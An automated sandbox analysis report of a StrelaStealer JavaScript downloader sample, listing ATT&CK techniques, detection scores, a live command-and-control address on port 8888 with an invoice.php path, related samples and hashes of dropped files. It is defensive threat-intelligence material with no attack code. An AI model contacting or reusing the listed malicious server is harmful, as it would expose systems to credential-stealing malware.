Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
28098292552574015467.js	8%	Virustotal		Browse
28098292552574015467.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/cS	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.19	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/cS	net.exe, 00000007.00000002.1540038628.000001F1D4488000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2768946936.000001AA72A10000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1542049603.000001AA727C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1539402358.000001F1D44B8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588339
Start date and time:	2025-01-11 00:39:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	28098292552574015467.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 2.23.197.184, 184.28.90.27, 84.201.210.19, 2.16.168.107, 2.16.168.105, 20.12.23.50, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:40:24	API Interceptor	19x Sleep call for process: powershell.exe modified
18:40:28	API Interceptor	1x Sleep call for process: net.exe modified
18:40:28	API Interceptor	2x Sleep call for process: svchost.exe modified
18:40:35	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
bg.microsoft.map.fastly.net	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022040334017241
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAa:RJE+Lfki1GjHwU/+vVhWqp/
MD5:	9D94ED443F609CEF2E09F316EF96B130
SHA1:	477960D8E0FFBEA9A6C35AC3D4F90AB60A54EFDC
SHA-256:	79CA470E94F1CABCFDF90D2569C7E120ADBE429DD1F5925F9E8765F805430B66
SHA-512:	F7BF0FEF4CE19DA055F0FDBF805A365EC93A43A78CA4FEA4DD39EA4A3DE736161D2996B960377AE4F4DD7A036225753DC20FD73D0192FF2502588D30BF2A2CB2
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4220cb38, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433277650653925
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	E7EC9D5BFE5EF30412C48DBBB5922A02
SHA1:	4A4BC66D3C448FAEB5EF279FB5D87D93161993A2
SHA-256:	DDF6CF15DF53C0926BE601A3622ED519CE0068696E3B05183B05F7E2B1BDDDD2
SHA-512:	A3367E8F062602974B62D6ABA218ED68E1F43E3A5B5DA81D9EB4095CD1A7133A34AE6F9D94549D7CBF9E56BEA9BB655E01AF5493D9FB2F11C258BF4F6FAF35D5
Malicious:	false
Preview:	B .8... ...............X\...;...{......................0.x...... ...{s..(...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.......................................(...}..................w..h.(...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08129095444224813
Encrypted:	false
SSDEEP:	3:KUYeOwWFvsl/nqlFcl1ZUllllfy8N/tallGBnX/l/Tj/k7/t:xzjWVsl/qlFclQ/lx1NQ254
MD5:	DC65B57D6639E24C990613128D385477
SHA1:	9E2C47F1AA72622643D93379DD0316F06EF3F1A4
SHA-256:	EE62BF9B2CAB484D47683109AFB4D80D7076CBB739AC6DCD18D9605970AD445C
SHA-512:	99D812E8A5F20E85ED348FCED10E83FAA0668C6A1286FD937B641662ACF88A4DC9F2CFDF6916488625E2C2C91B8BA46EBF4E3ECA5B84212D7E3E63E400ADE322
Malicious:	false
Preview:	.Z.......................................;...{...(...}... ...{s.......... ...{s.. ...{s.P.... ...{s.................w..h.(...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.18746123740958
Encrypted:	false
SSDEEP:	6:iO432j9+q2PCHhJ2nKuAl9OmbnIFUtS38SmZmws38SiVkwOCHhJ2nKuAl9OmbjLJ:7g2J+vBHAahFUtGDm/kDiV56HAaSJ
MD5:	C6AD8775D0D6B2618D48E29CD6C15F19
SHA1:	D13876A9246624BC320BA386E0D791686FCBA1D2
SHA-256:	931DAF171C62C15DA69283FDF6E408E340679F84EEB25E705655FFC82E6A9DCE
SHA-512:	F5B30F663B0091BA7B50156E026BAB8D60834BD1E95791077A0A640B9E2B7FE4904255B74F775757EAD2273F38655AF73453225DE487BD8DB083352CDB3317CF
Malicious:	false
Preview:	2025/01/10-18:40:28.009 f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:40:28.012 f7c Recovering log #3.2025/01/10-18:40:28.012 f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.18746123740958
Encrypted:	false
SSDEEP:	6:iO432j9+q2PCHhJ2nKuAl9OmbnIFUtS38SmZmws38SiVkwOCHhJ2nKuAl9OmbjLJ:7g2J+vBHAahFUtGDm/kDiV56HAaSJ
MD5:	C6AD8775D0D6B2618D48E29CD6C15F19
SHA1:	D13876A9246624BC320BA386E0D791686FCBA1D2
SHA-256:	931DAF171C62C15DA69283FDF6E408E340679F84EEB25E705655FFC82E6A9DCE
SHA-512:	F5B30F663B0091BA7B50156E026BAB8D60834BD1E95791077A0A640B9E2B7FE4904255B74F775757EAD2273F38655AF73453225DE487BD8DB083352CDB3317CF
Malicious:	false
Preview:	2025/01/10-18:40:28.009 f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:40:28.012 f7c Recovering log #3.2025/01/10-18:40:28.012 f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1378181127357765
Encrypted:	false
SSDEEP:	6:iO43CRZIq2PCHhJ2nKuAl9Ombzo2jMGIFUtS3CRXZZmws3CRXzkwOCHhJ2nKuAlx:7g2IvBHAa8uFUtGwZ/kwz56HAa8RJ
MD5:	CA5CD5EE7F626276FAFAD2EB07C34043
SHA1:	7130B3B6290A894D3C913620DCF60B40A53D850C
SHA-256:	F11B7F8DDCEF4E3378A23212F7DB784E6049BFADAF12851C9BB2871A892FCE9A
SHA-512:	11F9829161D34EF1A29F6F8B8AD37650D6E6501A8AA6D66F3BE70BC4BAEB5042DB1FA8603B481EB4EF6ADB36DCF9917B18FA6730B23D5D930017BF96D46B366F
Malicious:	false
Preview:	2025/01/10-18:40:28.145 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:40:28.147 1c10 Recovering log #3.2025/01/10-18:40:28.147 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1378181127357765
Encrypted:	false
SSDEEP:	6:iO43CRZIq2PCHhJ2nKuAl9Ombzo2jMGIFUtS3CRXZZmws3CRXzkwOCHhJ2nKuAlx:7g2IvBHAa8uFUtGwZ/kwz56HAa8RJ
MD5:	CA5CD5EE7F626276FAFAD2EB07C34043
SHA1:	7130B3B6290A894D3C913620DCF60B40A53D850C
SHA-256:	F11B7F8DDCEF4E3378A23212F7DB784E6049BFADAF12851C9BB2871A892FCE9A
SHA-512:	11F9829161D34EF1A29F6F8B8AD37650D6E6501A8AA6D66F3BE70BC4BAEB5042DB1FA8603B481EB4EF6ADB36DCF9917B18FA6730B23D5D930017BF96D46B366F
Malicious:	false
Preview:	2025/01/10-18:40:28.145 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:40:28.147 1c10 Recovering log #3.2025/01/10-18:40:28.147 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6ca1a7d5-4bef-43ef-9b51-aa4d9dc15448.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958684469570158
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLQsBdOg2Hecaq3QYiub6P7E4T3y:Y2sRdssdMHh3QYhbS7nby
MD5:	B12D69B43C6643E7D8CA6C9410B9B1D0
SHA1:	E632302B92D3B151B450AFF4D202A2B1FC53B9A5
SHA-256:	42CD14BF9AE11AA7773BEB5AAA2B96479844FB19C81923C7DE11D805BF389C40
SHA-512:	061820E7E526390FF6308815BAEC4BD18E498809FD4A1826257E80C4104A849380BCA71543EDA5503EA90F48B44364FA4BF8DD81C6A186BC551DA98C0ECC341A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381112439795982","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137744},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958684469570158
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLQsBdOg2Hecaq3QYiub6P7E4T3y:Y2sRdssdMHh3QYhbS7nby
MD5:	B12D69B43C6643E7D8CA6C9410B9B1D0
SHA1:	E632302B92D3B151B450AFF4D202A2B1FC53B9A5
SHA-256:	42CD14BF9AE11AA7773BEB5AAA2B96479844FB19C81923C7DE11D805BF389C40
SHA-512:	061820E7E526390FF6308815BAEC4BD18E498809FD4A1826257E80C4104A849380BCA71543EDA5503EA90F48B44364FA4BF8DD81C6A186BC551DA98C0ECC341A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381112439795982","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137744},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2336236179387035
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bRr/7Otq:S43C4mS7fFi0KFYDjr3LWO3V3aw+bRTL
MD5:	610DFCF3BE070B30BAD2E6546680D6FF
SHA1:	CF4B004E2DDD9E1354F424ADD2EA728E5FF5C14F
SHA-256:	3F6CC7E497A5AA368A8BA2061475FD4784B95DF4AA08DCD3E20BEE842E30F290
SHA-512:	F671EEA25DCE86015C1D46F4566D0009BB9DB7D7E5D702259CE71AAEDADD7AD04E9B73E01F10A77757B3C44C0DD454A4D7CD118C14036F3AC5E72295B2E8C51D
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.139201526381156
Encrypted:	false
SSDEEP:	6:iO43GXXkq2PCHhJ2nKuAl9OmbzNMxIFUtS3GX/YZmws3GG7kwOCHhJ2nKuAl9Omk:7gAXkvBHAa8jFUtGAg/k/756HAa84J
MD5:	FB4ADFBD063DBDF761E73F8549752155
SHA1:	F01994DAB0B0B7470E9AF8B001214C50E930E4D7
SHA-256:	9BF312C727C47428308742E08657CD1574D56C617933F8E7EBBF117C5FEF5697
SHA-512:	A73124F1E3B7A662682B4F5738C78BD65FC47A6E9C27468968797A72E530A961AA5E286DC3DF52B5319B106841357B68162C0AAB43D0BBC7DB2A0318D3E4F4E4
Malicious:	false
Preview:	2025/01/10-18:40:28.523 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:40:28.528 1c10 Recovering log #3.2025/01/10-18:40:28.531 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.139201526381156
Encrypted:	false
SSDEEP:	6:iO43GXXkq2PCHhJ2nKuAl9OmbzNMxIFUtS3GX/YZmws3GG7kwOCHhJ2nKuAl9Omk:7gAXkvBHAa8jFUtGAg/k/756HAa84J
MD5:	FB4ADFBD063DBDF761E73F8549752155
SHA1:	F01994DAB0B0B7470E9AF8B001214C50E930E4D7
SHA-256:	9BF312C727C47428308742E08657CD1574D56C617933F8E7EBBF117C5FEF5697
SHA-512:	A73124F1E3B7A662682B4F5738C78BD65FC47A6E9C27468968797A72E530A961AA5E286DC3DF52B5319B106841357B68162C0AAB43D0BBC7DB2A0318D3E4F4E4
Malicious:	false
Preview:	2025/01/10-18:40:28.523 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:40:28.528 1c10 Recovering log #3.2025/01/10-18:40:28.531 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
